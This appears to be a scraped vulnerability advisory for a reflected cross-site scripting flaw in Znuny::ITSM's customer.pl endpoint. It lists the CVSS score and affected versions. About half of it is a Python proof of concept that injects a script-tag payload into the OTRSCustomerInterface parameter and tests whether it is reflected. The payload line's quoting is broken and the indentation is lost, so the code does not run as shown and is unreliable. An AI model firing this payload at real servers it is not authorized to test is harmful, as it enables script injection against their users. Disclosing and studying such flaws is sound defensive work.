A Cross-Site Scripting (XSS) vulnerability exists in Znuny::ITSM 6.5.x in the customer.pl endpoint via the OTRSCustomerInterface parameter
CVSS Details
CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Znuny::ITSM 6.5.x
Znuny < 7.3.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL (Replace with actual target)
target_url = "http://target-ip/znuny/customer.pl"
# Malicious payload to test XSS
# Payload attempts to execute a simple JavaScript alert
payload = ""><script>alert('CVE-2025-52204_XSS');</script>"
# Parameters to exploit the vulnerability in OTRSCustomerInterface
params = {
"OTRSCustomerInterface": payload,
"Action": "CustomerTicketMessage" # Example action, may vary based on configuration
}
try:
# Send GET request
response = requests.get(target_url, params=params, timeout=10)
# Check if the payload is reflected in the response without encoding
if payload in response.text:
print("[+] Vulnerability Confirmed: The payload was reflected in the response.")
print("[+] Check the browser window for the alert popup if manually opened.")
else:
print("[-] Vulnerability not detected or payload was encoded.")
except Exception as e:
print(f"Error: {e}")